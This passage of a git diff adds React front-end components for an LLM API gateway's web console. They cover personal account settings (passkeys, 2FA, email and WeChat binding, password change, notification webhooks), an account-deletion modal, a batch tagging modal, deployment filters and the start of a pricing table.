+            renderChatBoxTitle: () => null,
+          }}
+          renderInputArea={renderInputArea}
+          roleConfig={roleInfo}
+          style={{
+            height: '100%',
+            maxWidth: '100%',
+            overflow: 'hidden',
+          }}
+          chats={message}
+          onMessageSend={onMessageSend}
+          onMessageCopy={onMessageCopy}
+          onMessageReset={onMessageReset}
+          onMessageDelete={onMessageDelete}
+          showClearContext
+          showStopGenerate
+          onStopGenerator={onStopGenerator}
+          onClear={onClearMessages}
+          className='h-full'
+          placeholder={t('请输入您的问题...')}
+        />
+      </div>
+    </Card>
+  );
+};
+
+export default ChatArea;
diff --git a/new-api/web/classic/src/components/settings/PersonalSetting.jsx b/new-api/web/classic/src/components/settings/PersonalSetting.jsx
new file mode 100644
index 0000000..e735c87
--- /dev/null
+++ b/new-api/web/classic/src/components/settings/PersonalSetting.jsx
@@ -0,0 +1,668 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React, { useContext, useEffect, useState } from 'react';
+import { useNavigate } from 'react-router-dom';
+import {
+  API,
+  copy,
+  showError,
+  showInfo,
+  showSuccess,
+  setStatusData,
+  prepareCredentialCreationOptions,
+  buildRegistrationResult,
+  isPasskeySupported,
+  setUserData,
+} from '../../helpers';
+import { UserContext } from '../../context/User';
+import { Modal } from '@douyinfe/semi-ui';
+import { useTranslation } from 'react-i18next';
+
+// 导入子组件
+import UserInfoHeader from './personal/components/UserInfoHeader';
+import AccountManagement from './personal/cards/AccountManagement';
+import NotificationSettings from './personal/cards/NotificationSettings';
+import PreferencesSettings from './personal/cards/PreferencesSettings';
+import CheckinCalendar from './personal/cards/CheckinCalendar';
+import EmailBindModal from './personal/modals/EmailBindModal';
+import WeChatBindModal from './personal/modals/WeChatBindModal';
+import AccountDeleteModal from './personal/modals/AccountDeleteModal';
+import ChangePasswordModal from './personal/modals/ChangePasswordModal';
+import SecureVerificationModal from '../common/modals/SecureVerificationModal';
+import { useSecureVerification } from '../../hooks/common/useSecureVerification';
+
+const PersonalSetting = () => {
+  const [userState, userDispatch] = useContext(UserContext);
+  let navigate = useNavigate();
+  const { t } = useTranslation();
+
+  const [inputs, setInputs] = useState({
+    wechat_verification_code: '',
+    email_verification_code: '',
+    email: '',
+    self_account_deletion_confirmation: '',
+    original_password: '',
+    set_new_password: '',
+    set_new_password_confirmation: '',
+  });
+  const [status, setStatus] = useState({});
+  const [showChangePasswordModal, setShowChangePasswordModal] = useState(false);
+  const [showWeChatBindModal, setShowWeChatBindModal] = useState(false);
+  const [showEmailBindModal, setShowEmailBindModal] = useState(false);
+  const [showAccountDeleteModal, setShowAccountDeleteModal] = useState(false);
+  const [turnstileEnabled, setTurnstileEnabled] = useState(false);
+  const [turnstileSiteKey, setTurnstileSiteKey] = useState('');
+  const [turnstileToken, setTurnstileToken] = useState('');
+  const [loading, setLoading] = useState(false);
+  const [disableButton, setDisableButton] = useState(false);
+  const [countdown, setCountdown] = useState(30);
+  const [systemToken, setSystemToken] = useState('');
+  const [passkeyStatus, setPasskeyStatus] = useState({ enabled: false });
+  const [passkeyRegisterLoading, setPasskeyRegisterLoading] = useState(false);
+  const [passkeyDeleteLoading, setPasskeyDeleteLoading] = useState(false);
+  const [passkeySupported, setPasskeySupported] = useState(false);
+  const [
+    passkeyRequiredVerificationMethod,
+    setPasskeyRequiredVerificationMethod,
+  ] = useState(null);
+  const [notificationSettings, setNotificationSettings] = useState({
+    warningType: 'email',
+    warningThreshold: 100000,
+    webhookUrl: '',
+    webhookSecret: '',
+    notificationEmail: '',
+    barkUrl: '',
+    gotifyUrl: '',
+    gotifyToken: '',
+    gotifyPriority: 5,
+    upstreamModelUpdateNotifyEnabled: false,
+    acceptUnsetModelRatioModel: false,
+    recordIpLog: false,
+  });
+
+  const {
+    isModalVisible: isPasskeyVerificationModalVisible,
+    verificationMethods: passkeyVerificationMethods,
+    verificationState: passkeyVerificationState,
+    startVerification: startPasskeyVerification,
+    executeVerification: executePasskeyVerification,
+    cancelVerification: cancelPasskeyVerification,
+    setVerificationCode: setPasskeyVerificationCode,
+    switchVerificationMethod: switchPasskeyVerificationMethod,
+    checkVerificationMethods: checkPasskeyVerificationMethods,
+  } = useSecureVerification({
+    onSuccess: () => {
+      setPasskeyRequiredVerificationMethod(null);
+    },
+  });
+
+  const visiblePasskeyVerificationMethods = passkeyRequiredVerificationMethod
+    ? {
+        ...passkeyVerificationMethods,
+        has2FA:
+          passkeyRequiredVerificationMethod === '2fa' &&
+          passkeyVerificationMethods.has2FA,
+        hasPasskey:
+          passkeyRequiredVerificationMethod === 'passkey' &&
+          passkeyVerificationMethods.hasPasskey,
+      }
+    : passkeyVerificationMethods;
+
+  useEffect(() => {
+    let saved = localStorage.getItem('status');
+    if (saved) {
+      const parsed = JSON.parse(saved);
+      setStatus(parsed);
+      if (parsed.turnstile_check) {
+        setTurnstileEnabled(true);
+        setTurnstileSiteKey(parsed.turnstile_site_key);
+      } else {
+        setTurnstileEnabled(false);
+        setTurnstileSiteKey('');
+      }
+    }
+    // Always refresh status from server to avoid stale flags (e.g., admin just enabled OAuth)
+    (async () => {
+      try {
+        const res = await API.get('/api/status');
+        const { success, data } = res.data;
+        if (success && data) {
+          setStatus(data);
+          setStatusData(data);
+          if (data.turnstile_check) {
+            setTurnstileEnabled(true);
+            setTurnstileSiteKey(data.turnstile_site_key);
+          } else {
+            setTurnstileEnabled(false);
+            setTurnstileSiteKey('');
+          }
+        }
+      } catch (e) {
+        // ignore and keep local status
+      }
+    })();
+
+    getUserData();
+
+    isPasskeySupported()
+      .then(setPasskeySupported)
+      .catch(() => setPasskeySupported(false));
+  }, []);
+
+  useEffect(() => {
+    let countdownInterval = null;
+    if (disableButton && countdown > 0) {
+      countdownInterval = setInterval(() => {
+        setCountdown(countdown - 1);
+      }, 1000);
+    } else if (countdown === 0) {
+      setDisableButton(false);
+      setCountdown(30);
+    }
+    return () => clearInterval(countdownInterval); // Clean up on unmount
+  }, [disableButton, countdown]);
+
+  useEffect(() => {
+    if (userState?.user?.setting) {
+      const settings = JSON.parse(userState.user.setting);
+      setNotificationSettings({
+        warningType: settings.notify_type || 'email',
+        warningThreshold: settings.quota_warning_threshold || 500000,
+        webhookUrl: settings.webhook_url || '',
+        webhookSecret: settings.webhook_secret || '',
+        notificationEmail: settings.notification_email || '',
+        barkUrl: settings.bark_url || '',
+        gotifyUrl: settings.gotify_url || '',
+        gotifyToken: settings.gotify_token || '',
+        gotifyPriority:
+          settings.gotify_priority !== undefined ? settings.gotify_priority : 5,
+        upstreamModelUpdateNotifyEnabled:
+          settings.upstream_model_update_notify_enabled === true,
+        acceptUnsetModelRatioModel:
+          settings.accept_unset_model_ratio_model || false,
+        recordIpLog: settings.record_ip_log || false,
+      });
+    }
+  }, [userState?.user?.setting]);
+
+  const handleInputChange = (name, value) => {
+    setInputs((inputs) => ({ ...inputs, [name]: value }));
+  };
+
+  const generateAccessToken = async () => {
+    const res = await API.get('/api/user/token');
+    const { success, message, data } = res.data;
+    if (success) {
+      setSystemToken(data);
+      await copy(data);
+      showSuccess(t('令牌已重置并已复制到剪贴板'));
+    } else {
+      showError(message);
+    }
+  };
+
+  const loadPasskeyStatus = async () => {
+    try {
+      const res = await API.get('/api/user/passkey');
+      const { success, data, message } = res.data;
+      if (success) {
+        setPasskeyStatus({
+          enabled: data?.enabled || false,
+          last_used_at: data?.last_used_at || null,
+          backup_eligible: data?.backup_eligible || false,
+          backup_state: data?.backup_state || false,
+        });
+      } else {
+        showError(message);
+      }
+    } catch (error) {
+      // 忽略错误，保留默认状态
+    }
+  };
+
+  const startPasskeyManagementVerification = async (apiCall, options = {}) => {
+    const methods = await checkPasskeyVerificationMethods();
+    const requiredMethod = methods.has2FA
+      ? '2fa'
+      : methods.hasPasskey
+        ? 'passkey'
+        : null;
+
+    if (!requiredMethod) {
+      showError(t('您需要先启用两步验证或 Passkey 才能执行此操作'));
+      return;
+    }
+
+    if (requiredMethod === 'passkey' && !methods.passkeySupported) {
+      showInfo(t('当前设备不支持 Passkey'));
+      return;
+    }
+
+    setPasskeyRequiredVerificationMethod(requiredMethod);
+    await startPasskeyVerification(apiCall, {
+      preferredMethod: requiredMethod,
+      title: t('安全验证'),
+      ...options,
+    });
+  };
+
+  const startPasskeyRegistration = async () => {
+    const methods = await checkPasskeyVerificationMethods();
+    if (!methods.has2FA) {
+      try {
+        await registerPasskey();
+      } catch (error) {
+        showError(error.message || t('Passkey 注册失败，请重试'));
+      }
+      return;
+    }
+
+    setPasskeyRequiredVerificationMethod('2fa');
+    await startPasskeyVerification(registerPasskey, {
+      preferredMethod: '2fa',
+      title: t('安全验证'),
+    });
+  };
+
+  const registerPasskey = async () => {
+    setPasskeyRegisterLoading(true);
+    try {
+      const beginRes = await API.post('/api/user/passkey/register/begin');
+      const { success, message, data } = beginRes.data;
+      if (!success) {
+        throw new Error(message || t('无法发起 Passkey 注册'));
+      }
+
+      const publicKey = prepareCredentialCreationOptions(
+        data?.options || data?.publicKey || data,
+      );
+      const credential = await navigator.credentials.create({ publicKey });
+      const payload = buildRegistrationResult(credential);
+      if (!payload) {
+        throw new Error(t('Passkey 注册失败，请重试'));
+      }
+
+      const finishRes = await API.post(
+        '/api/user/passkey/register/finish',
+        payload,
+      );
+      if (!finishRes.data.success) {
+        throw new Error(
+          finishRes.data.message || t('Passkey 注册失败，请重试'),
+        );
+      }
+
+      showSuccess(t('Passkey 注册成功'));
+      await loadPasskeyStatus();
+      return finishRes.data;
+    } catch (error) {
+      if (error?.name === 'AbortError') {
+        showInfo(t('已取消 Passkey 注册'));
+        return { cancelled: true };
+      }
+      throw new Error(error?.message || t('Passkey 注册失败，请重试'));
+    } finally {
+      setPasskeyRegisterLoading(false);
+    }
+  };
+
+  const handleRegisterPasskey = async () => {
+    if (!passkeySupported || !window.PublicKeyCredential) {
+      showInfo(t('当前设备不支持 Passkey'));
+      return;
+    }
+    await startPasskeyRegistration();
+  };
+
+  const removePasskey = async () => {
+    setPasskeyDeleteLoading(true);
+    try {
+      const res = await API.delete('/api/user/passkey');
+      const { success, message } = res.data;
+      if (!success) {
+        throw new Error(message || t('操作失败，请重试'));
+      }
+
+      showSuccess(t('Passkey 已解绑'));
+      await loadPasskeyStatus();
+      return res.data;
+    } catch (error) {
+      throw new Error(error?.message || t('操作失败，请重试'));
+    } finally {
+      setPasskeyDeleteLoading(false);
+    }
+  };
+
+  const handleRemovePasskey = async () => {
+    await startPasskeyManagementVerification(removePasskey);
+  };
+
+  const handlePasskeyVerificationCancel = () => {
+    setPasskeyRequiredVerificationMethod(null);
+    cancelPasskeyVerification();
+  };
+
+  const getUserData = async () => {
+    let res = await API.get(`/api/user/self`);
+    const { success, message, data } = res.data;
+    if (success) {
+      userDispatch({ type: 'login', payload: data });
+      setUserData(data);
+      await loadPasskeyStatus();
+    } else {
+      showError(message);
+    }
+  };
+
+  const handleSystemTokenClick = async (e) => {
+    e.target.select();
+    await copy(e.target.value);
+    showSuccess(t('系统令牌已复制到剪切板'));
+  };
+
+  const deleteAccount = async () => {
+    if (inputs.self_account_deletion_confirmation !== userState.user.username) {
+      showError(t('请输入你的账户名以确认删除！'));
+      return;
+    }
+
+    const res = await API.delete('/api/user/self');
+    const { success, message } = res.data;
+
+    if (success) {
+      showSuccess(t('账户已删除！'));
+      await API.get('/api/user/logout');
+      userDispatch({ type: 'logout' });
+      localStorage.removeItem('user');
+      navigate('/login');
+    } else {
+      showError(message);
+    }
+  };
+
+  const bindWeChat = async () => {
+    if (inputs.wechat_verification_code === '') return;
+    const res = await API.post('/api/oauth/wechat/bind', {
+      code: inputs.wechat_verification_code,
+    });
+    const { success, message } = res.data;
+    if (success) {
+      showSuccess(t('微信账户绑定成功！'));
+      setShowWeChatBindModal(false);
+    } else {
+      showError(message);
+    }
+  };
+
+  const changePassword = async () => {
+    // if (inputs.original_password === '') {
+    //   showError(t('请输入原密码！'));
+    //   return;
+    // }
+    if (inputs.set_new_password === '') {
+      showError(t('请输入新密码！'));
+      return;
+    }
+    if (inputs.original_password === inputs.set_new_password) {
+      showError(t('新密码需要和原密码不一致！'));
+      return;
+    }
+    if (inputs.set_new_password !== inputs.set_new_password_confirmation) {
+      showError(t('两次输入的密码不一致！'));
+      return;
+    }
+    const res = await API.put(`/api/user/self`, {
+      original_password: inputs.original_password,
+      password: inputs.set_new_password,
+    });
+    const { success, message } = res.data;
+    if (success) {
+      showSuccess(t('密码修改成功！'));
+      setShowWeChatBindModal(false);
+    } else {
+      showError(message);
+    }
+    setShowChangePasswordModal(false);
+  };
+
+  const sendVerificationCode = async () => {
+    if (inputs.email === '') {
+      showError(t('请输入邮箱！'));
+      return;
+    }
+    setDisableButton(true);
+    if (turnstileEnabled && turnstileToken === '') {
+      showInfo(t('请稍后几秒重试，Turnstile 正在检查用户环境！'));
+      return;
+    }
+    setLoading(true);
+    const res = await API.get(
+      `/api/verification?email=${inputs.email}&turnstile=${turnstileToken}`,
+    );
+    const { success, message } = res.data;
+    if (success) {
+      showSuccess(t('验证码发送成功，请检查邮箱！'));
+    } else {
+      showError(message);
+    }
+    setLoading(false);
+  };
+
+  const bindEmail = async () => {
+    if (inputs.email_verification_code === '') {
+      showError(t('请输入邮箱验证码！'));
+      return;
+    }
+    setLoading(true);
+    const res = await API.post('/api/oauth/email/bind', {
+      email: inputs.email,
+      code: inputs.email_verification_code,
+    });
+    const { success, message } = res.data;
+    if (success) {
+      showSuccess(t('邮箱账户绑定成功！'));
+      setShowEmailBindModal(false);
+      userState.user.email = inputs.email;
+    } else {
+      showError(message);
+    }
+    setLoading(false);
+  };
+
+  const copyText = async (text) => {
+    if (await copy(text)) {
+      showSuccess(t('已复制：') + text);
+    } else {
+      // setSearchKeyword(text);
+      Modal.error({ title: t('无法复制到剪贴板，请手动复制'), content: text });
+    }
+  };
+
+  const handleNotificationSettingChange = (type, value) => {
+    setNotificationSettings((prev) => ({
+      ...prev,
+      [type]: value.target
+        ? value.target.value !== undefined
+          ? value.target.value
+          : value.target.checked
+        : value, // handle checkbox properly
+    }));
+  };
+
+  const saveNotificationSettings = async () => {
+    try {
+      const res = await API.put('/api/user/setting', {
+        notify_type: notificationSettings.warningType,
+        quota_warning_threshold: parseFloat(
+          notificationSettings.warningThreshold,
+        ),
+        webhook_url: notificationSettings.webhookUrl,
+        webhook_secret: notificationSettings.webhookSecret,
+        notification_email: notificationSettings.notificationEmail,
+        bark_url: notificationSettings.barkUrl,
+        gotify_url: notificationSettings.gotifyUrl,
+        gotify_token: notificationSettings.gotifyToken,
+        gotify_priority: (() => {
+          const parsed = parseInt(notificationSettings.gotifyPriority);
+          return isNaN(parsed) ? 5 : parsed;
+        })(),
+        upstream_model_update_notify_enabled:
+          notificationSettings.upstreamModelUpdateNotifyEnabled === true,
+        accept_unset_model_ratio_model:
+          notificationSettings.acceptUnsetModelRatioModel,
+        record_ip_log: notificationSettings.recordIpLog,
+      });
+
+      if (res.data.success) {
+        showSuccess(t('设置保存成功'));
+        await getUserData();
+      } else {
+        showError(res.data.message);
+      }
+    } catch (error) {
+      showError(t('设置保存失败'));
+    }
+  };
+
+  return (
+    <div className='mt-[60px]'>
+      <div className='flex justify-center'>
+        <div className='w-full max-w-7xl mx-auto px-2'>
+          {/* 顶部用户信息区域 */}
+          <UserInfoHeader t={t} userState={userState} />
+
+          {/* 签到日历 - 仅在启用时显示 */}
+          {status?.checkin_enabled && (
+            <div className='mt-4 md:mt-6'>
+              <CheckinCalendar
+                t={t}
+                status={status}
+                turnstileEnabled={turnstileEnabled}
+                turnstileSiteKey={turnstileSiteKey}
+              />
+            </div>
+          )}
+
+          {/* 账户管理和其他设置 */}
+          <div className='grid grid-cols-1 xl:grid-cols-2 items-start gap-4 md:gap-6 mt-4 md:mt-6'>
+            {/* 左侧：账户管理设置 */}
+            <div className='flex flex-col gap-4 md:gap-6'>
+              <AccountManagement
+                t={t}
+                userState={userState}
+                status={status}
+                systemToken={systemToken}
+                setShowEmailBindModal={setShowEmailBindModal}
+                setShowWeChatBindModal={setShowWeChatBindModal}
+                generateAccessToken={generateAccessToken}
+                handleSystemTokenClick={handleSystemTokenClick}
+                setShowChangePasswordModal={setShowChangePasswordModal}
+                setShowAccountDeleteModal={setShowAccountDeleteModal}
+                passkeyStatus={passkeyStatus}
+                passkeySupported={passkeySupported}
+                passkeyRegisterLoading={passkeyRegisterLoading}
+                passkeyDeleteLoading={passkeyDeleteLoading}
+                onPasskeyRegister={handleRegisterPasskey}
+                onPasskeyDelete={handleRemovePasskey}
+              />
+
+              {/* 偏好设置（语言等） */}
+              <PreferencesSettings t={t} />
+            </div>
+
+            {/* 右侧：其他设置 */}
+            <NotificationSettings
+              t={t}
+              notificationSettings={notificationSettings}
+              handleNotificationSettingChange={handleNotificationSettingChange}
+              saveNotificationSettings={saveNotificationSettings}
+            />
+          </div>
+        </div>
+      </div>
+
+      {/* 模态框组件 */}
+      <EmailBindModal
+        t={t}
+        showEmailBindModal={showEmailBindModal}
+        setShowEmailBindModal={setShowEmailBindModal}
+        inputs={inputs}
+        handleInputChange={handleInputChange}
+        sendVerificationCode={sendVerificationCode}
+        bindEmail={bindEmail}
+        disableButton={disableButton}
+        loading={loading}
+        countdown={countdown}
+        turnstileEnabled={turnstileEnabled}
+        turnstileSiteKey={turnstileSiteKey}
+        setTurnstileToken={setTurnstileToken}
+      />
+
+      <WeChatBindModal
+        t={t}
+        showWeChatBindModal={showWeChatBindModal}
+        setShowWeChatBindModal={setShowWeChatBindModal}
+        inputs={inputs}
+        handleInputChange={handleInputChange}
+        bindWeChat={bindWeChat}
+        status={status}
+      />
+
+      <AccountDeleteModal
+        t={t}
+        showAccountDeleteModal={showAccountDeleteModal}
+        setShowAccountDeleteModal={setShowAccountDeleteModal}
+        inputs={inputs}
+        handleInputChange={handleInputChange}
+        deleteAccount={deleteAccount}
+        userState={userState}
+        turnstileEnabled={turnstileEnabled}
+        turnstileSiteKey={turnstileSiteKey}
+        setTurnstileToken={setTurnstileToken}
+      />
+
+      <ChangePasswordModal
+        t={t}
+        showChangePasswordModal={showChangePasswordModal}
+        setShowChangePasswordModal={setShowChangePasswordModal}
+        inputs={inputs}
+        handleInputChange={handleInputChange}
+        changePassword={changePassword}
+        turnstileEnabled={turnstileEnabled}
+        turnstileSiteKey={turnstileSiteKey}
+        setTurnstileToken={setTurnstileToken}
+      />
+
+      <SecureVerificationModal
+        visible={isPasskeyVerificationModalVisible}
+        verificationMethods={visiblePasskeyVerificationMethods}
+        verificationState={passkeyVerificationState}
+        onVerify={executePasskeyVerification}
+        onCancel={handlePasskeyVerificationCancel}
+        onCodeChange={setPasskeyVerificationCode}
+        onMethodSwitch={switchPasskeyVerificationMethod}
+        title={passkeyVerificationState.title}
+        description={passkeyVerificationState.description}
+      />
+    </div>
+  );
+};
+
+export default PersonalSetting;
diff --git a/new-api/web/classic/src/components/settings/personal/modals/AccountDeleteModal.jsx b/new-api/web/classic/src/components/settings/personal/modals/AccountDeleteModal.jsx
new file mode 100644
index 0000000..b2bc40f
--- /dev/null
+++ b/new-api/web/classic/src/components/settings/personal/modals/AccountDeleteModal.jsx
@@ -0,0 +1,94 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React from 'react';
+import { Banner, Input, Modal, Typography } from '@douyinfe/semi-ui';
+import { IconDelete, IconUser } from '@douyinfe/semi-icons';
+import Turnstile from 'react-turnstile';
+
+const AccountDeleteModal = ({
+  t,
+  showAccountDeleteModal,
+  setShowAccountDeleteModal,
+  inputs,
+  handleInputChange,
+  deleteAccount,
+  userState,
+  turnstileEnabled,
+  turnstileSiteKey,
+  setTurnstileToken,
+}) => {
+  return (
+    <Modal
+      title={
+        <div className='flex items-center'>
+          <IconDelete className='mr-2 text-red-500' />
+          {t('删除账户确认')}
+        </div>
+      }
+      visible={showAccountDeleteModal}
+      onCancel={() => setShowAccountDeleteModal(false)}
+      onOk={deleteAccount}
+      size={'small'}
+      centered={true}
+      className='modern-modal'
+    >
+      <div className='space-y-4 py-4'>
+        <Banner
+          type='danger'
+          description={t('您正在删除自己的帐户，将清空所有数据且不可恢复')}
+          closeIcon={null}
+          className='!rounded-lg'
+        />
+
+        <div>
+          <Typography.Text strong className='block mb-2 text-red-600'>
+            {t('请输入您的用户名以确认删除')}
+          </Typography.Text>
+          <Input
+            placeholder={t('输入你的账户名{{username}}以确认删除', {
+              username: ` ${userState?.user?.username} `,
+            })}
+            name='self_account_deletion_confirmation'
+            value={inputs.self_account_deletion_confirmation}
+            onChange={(value) =>
+              handleInputChange('self_account_deletion_confirmation', value)
+            }
+            size='large'
+            className='!rounded-lg'
+            prefix={<IconUser />}
+          />
+        </div>
+
+        {turnstileEnabled && (
+          <div className='flex justify-center'>
+            <Turnstile
+              sitekey={turnstileSiteKey}
+              onVerify={(token) => {
+                setTurnstileToken(token);
+              }}
+            />
+          </div>
+        )}
+      </div>
+    </Modal>
+  );
+};
+
+export default AccountDeleteModal;
diff --git a/new-api/web/classic/src/components/table/channels/modals/BatchTagModal.jsx b/new-api/web/classic/src/components/table/channels/modals/BatchTagModal.jsx
new file mode 100644
index 0000000..16bb64b
--- /dev/null
+++ b/new-api/web/classic/src/components/table/channels/modals/BatchTagModal.jsx
@@ -0,0 +1,63 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React from 'react';
+import { Modal, Input, Typography } from '@douyinfe/semi-ui';
+
+const BatchTagModal = ({
+  showBatchSetTag,
+  setShowBatchSetTag,
+  batchSetChannelTag,
+  batchSetTagValue,
+  setBatchSetTagValue,
+  selectedChannels,
+  t,
+}) => {
+  return (
+    <Modal
+      title={t('批量设置标签')}
+      visible={showBatchSetTag}
+      onOk={batchSetChannelTag}
+      onCancel={() => setShowBatchSetTag(false)}
+      maskClosable={false}
+      centered={true}
+      size='small'
+      className='!rounded-lg'
+    >
+      <div className='mb-5'>
+        <Typography.Text>{t('请输入要设置的标签名称')}</Typography.Text>
+      </div>
+      <Input
+        placeholder={t('请输入标签名称')}
+        value={batchSetTagValue}
+        onChange={(v) => setBatchSetTagValue(v)}
+      />
+      <div className='mt-4'>
+        <Typography.Text type='secondary'>
+          {t('已选择 ${count} 个渠道').replace(
+            '${count}',
+            selectedChannels.length,
+          )}
+        </Typography.Text>
+      </div>
+    </Modal>
+  );
+};
+
+export default BatchTagModal;
diff --git a/new-api/web/classic/src/components/table/model-deployments/DeploymentsFilters.jsx b/new-api/web/classic/src/components/table/model-deployments/DeploymentsFilters.jsx
new file mode 100644
index 0000000..b268f68
--- /dev/null
+++ b/new-api/web/classic/src/components/table/model-deployments/DeploymentsFilters.jsx
@@ -0,0 +1,130 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React, { useRef } from 'react';
+import { Form, Button } from '@douyinfe/semi-ui';
+import { IconSearch, IconRefresh } from '@douyinfe/semi-icons';
+
+const DeploymentsFilters = ({
+  formInitValues,
+  setFormApi,
+  searchDeployments,
+  loading,
+  searching,
+  setShowColumnSelector,
+  t,
+}) => {
+  const formApiRef = useRef(null);
+
+  const handleSubmit = (values) => {
+    searchDeployments(values);
+  };
+
+  const handleReset = () => {
+    if (!formApiRef.current) return;
+    formApiRef.current.reset();
+    setTimeout(() => {
+      formApiRef.current.submitForm();
+    }, 0);
+  };
+
+  const statusOptions = [
+    { label: t('全部状态'), value: '' },
+    { label: t('运行中'), value: 'running' },
+    { label: t('已完成'), value: 'completed' },
+    { label: t('失败'), value: 'failed' },
+    { label: t('部署请求中'), value: 'deployment requested' },
+    { label: t('终止请求中'), value: 'termination requested' },
+    { label: t('已销毁'), value: 'destroyed' },
+  ];
+
+  return (
+    <Form
+      layout='horizontal'
+      onSubmit={handleSubmit}
+      initValues={formInitValues}
+      getFormApi={(formApi) => {
+        setFormApi(formApi);
+        formApiRef.current = formApi;
+      }}
+      className='w-full md:w-auto order-1 md:order-2'
+    >
+      <div className='flex flex-col md:flex-row items-center gap-2 w-full md:w-auto'>
+        <div className='w-full md:w-64'>
+          <Form.Input
+            field='searchKeyword'
+            placeholder={t('搜索部署名称')}
+            prefix={<IconSearch />}
+            showClear
+            size='small'
+            pure
+          />
+        </div>
+
+        <div className='w-full md:w-48'>
+          <Form.Select
+            field='searchStatus'
+            placeholder={t('选择状态')}
+            optionList={statusOptions}
+            className='w-full'
+            showClear
+            size='small'
+            pure
+          />
+        </div>
+
+        <div className='flex gap-2 w-full md:w-auto'>
+          <Button
+            htmlType='submit'
+            type='tertiary'
+            icon={<IconSearch />}
+            loading={searching}
+            disabled={loading}
+            size='small'
+            className='flex-1 md:flex-initial md:w-auto'
+          >
+            {t('查询')}
+          </Button>
+
+          <Button
+            type='tertiary'
+            icon={<IconRefresh />}
+            onClick={handleReset}
+            disabled={loading || searching}
+            size='small'
+            className='flex-1 md:flex-initial md:w-auto'
+          >
+            {t('重置')}
+          </Button>
+
+          <Button
+            type='tertiary'
+            onClick={() => setShowColumnSelector(true)}
+            size='small'
+            className='flex-1 md:flex-initial md:w-auto'
+          >
+            {t('列设置')}
+          </Button>
+        </div>
+      </div>
+    </Form>
+  );
+};
+
+export default DeploymentsFilters;
diff --git a/new-api/web/classic/src/components/table/model-pricing/view/table/PricingTable.jsx b/new-api/web/classic/src/components/table/model-pricing/view/table/PricingTable.jsx
new file mode 100644
index 0000000..120840e
--- /dev/null
+++ b/new-api/web/classic/src/components/table/model-pricing/view/table/PricingTable.jsx
@@ -0,0 +1,147 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React, { useMemo } from 'react';
+import { Card, Table, Empty } from '@douyinfe/semi-ui';
+import {
+  IllustrationNoResult,
+  IllustrationNoResultDark,
+} from '@douyinfe/semi-illustrations';
+import { getPricingTableColumns } from './PricingTableColumns';
+
+const PricingTable = ({
+  filteredModels,
+  loading,
+  rowSelection,
+  pageSize,
+  setPageSize,
+  selectedGroup,
+  groupRatio,
+  copyText,
+  setModalImageUrl,
+  setIsModalOpenurl,
+  currency,
+  siteDisplayType,
+  tokenUnit,
+  displayPrice,
+  searchValue,
+  showRatio,
+  compactMode = false,
+  openModelDetail,
+  t,
+}) => {
+  const columns = useMemo(() => {
+    return getPricingTableColumns({
+      t,
+      selectedGroup,
+      groupRatio,
+      copyText,
+      setModalImageUrl,
+      setIsModalOpenurl,
+      currency,
+      siteDisplayType,
+      tokenUnit,
+      displayPrice,
+      showRatio,
+    });
+  }, [
+    t,
+    selectedGroup,
+    groupRatio,
+    copyText,
+    setModalImageUrl,
+    setIsModalOpenurl,
+    currency,
+    siteDisplayType,
+    tokenUnit,
+    displayPrice,
+    showRatio,
+  ]);
+
+  // 更新列定义中的 searchValue
+  const processedColumns = useMemo(() => {
+    const cols = columns.map((column) => {
+      if (column.dataIndex === 'model_name') {
+        return {
+          ...column,
+          filteredValue: searchValue ? [searchValue] : [],
+        };
+      }
+      return column;
+    });
+
+    // Remove fixed property when in compact mode (mobile view)
+    if (compactMode) {
+      return cols.map(({ fixed, ...rest }) => rest);
+    }
+    return cols;
+  }, [columns, searchValue, compactMode]);
+
+  const ModelTable = useMemo(
+    () => (
+      <Card className='!rounded-xl overflow-hidden' bordered={false}>
+        <Table
+          columns={processedColumns}
+          dataSource={filteredModels}
+          loading={loading}
